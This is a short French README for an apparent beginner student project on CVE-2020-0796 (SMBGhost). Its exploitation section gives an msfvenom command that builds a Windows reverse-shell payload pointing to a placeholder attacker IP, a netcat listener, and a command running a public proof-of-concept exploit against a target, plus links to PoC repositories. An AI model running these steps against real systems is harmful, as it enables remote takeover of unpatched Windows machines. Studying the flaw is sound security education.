CVE-2020-0796

Explication de CVE-2020-0796 et recherche de la vulnérabilité pour le projet de semestre CENG325 pour débutants

Comment exploiter ?

Génération de payload utilisateur pour reverse shell :

msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=5555 -f python

port d'écoute :

nc -lvnp 5555

exécution de l'exploit :

python3 exploit.py -ip TARGET_IP

Dépôts PoC

• https://github.com/chompie1337/SMBGhost_RCE_PoC
• https://github.com/ollypwn/SMBGhost

Références

1. CVE-2020-0796 : Vulnérabilité d'exécution de code à distance « wormable » dans Microsoft SMB. (13 mars 2020). Tenable®. https://www.tenable.com/blog/cve-2020-0796-wormable-remote-code-execution-vulnerability-in-microsoft-server-message-block
2. « I’ll ask your body » : RCE pré-authentification SMBGhost abusant des structures DMA. (20 avril 2020). Ricercasecurtiy.Blogspot.https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html